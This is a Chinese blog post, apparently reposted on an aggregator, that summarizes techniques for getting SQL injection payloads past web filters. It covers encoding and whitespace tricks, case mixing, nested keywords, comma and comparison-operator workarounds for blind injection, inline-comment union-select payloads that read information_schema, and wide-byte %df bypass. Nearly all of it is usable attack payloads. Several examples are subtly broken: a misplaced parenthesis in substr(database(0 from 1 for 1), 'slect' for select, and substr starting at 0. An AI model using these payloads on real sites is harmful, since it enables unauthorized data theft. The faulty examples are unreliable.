sql注入总结

Posted gh-d

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入总结相关的知识,希望对你有一定的参考价值。

各种方法综合使用,自己思考

1、用url编码,ascii码,十六进制形式绕过

2、空格绕过:/**/,0,(),<>,%09 TAB键(水平)%0a 新建一行%0c 新的一页%0d return功能%0b TAB键(垂直)%a0 空格

3、用大小写绕过,sEleCt,这样类似的

4、运用重叠拆解:selecselectt,中间的select被过滤后,剩下的就是select

5、逗号绕过

在使用盲注的时候,需要使用到substr() ,mid() ,limit。这些子句方法都需要使用到逗号。 对于substr()mid()这两个方法可以使用from to的方式来解决。

select substr(database(0 from 1 for 1);

select mid(database(0 from 1 for 1);

对于limit可以使用offset来绕过。

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from news limit 1 offset 0

6比较符(<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。 如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句。

  select * from users where id=1 and ascii(substr(database(),0,1))>64

  此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest 代替比较操作符了。greatest(n1,n2,n3,)函数返回输入参数(n1,n2,n3,)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

7、利用注释绕过:/*select*/

8、利用对xss<过滤进行绕过:sel<ect,联想就是看它会过滤哪些特殊符号,关键字,然后 中间插入这些符号。

9、用||&&,代替or,and

10.绕过注释符号(#--(后面跟一个空格))过滤:

id=1‘ union select 1,2,3||‘1

  最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1‘ union select 1,2,‘3

11、=绕过:使用like rlike regexp 或者 使用< 或者 >

12、内联注释绕过:id=-1‘/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

13、宽字节绕过:%df

14、绕过逗号过滤:limit可以通过 offset 绕过逗号过滤

语句1:select * from student limit 9,4
语句2:slect * from student limit 4 offset 9
// 语句1和2均返回表student的第10、11、12、13行  
//语句2中的4表示返回4行,9表示从表的第十行开始




以上是关于sql注入总结的主要内容,如果未能解决你的问题,请参考以下文章

常见web漏洞总结------SQL注入

SQL注入总结

SQL注入漏洞总结

sql注入总结

#yyds干货盘点#sql注入总结

SQL注入学习总结:其他类型SQL注入之SQL约束攻击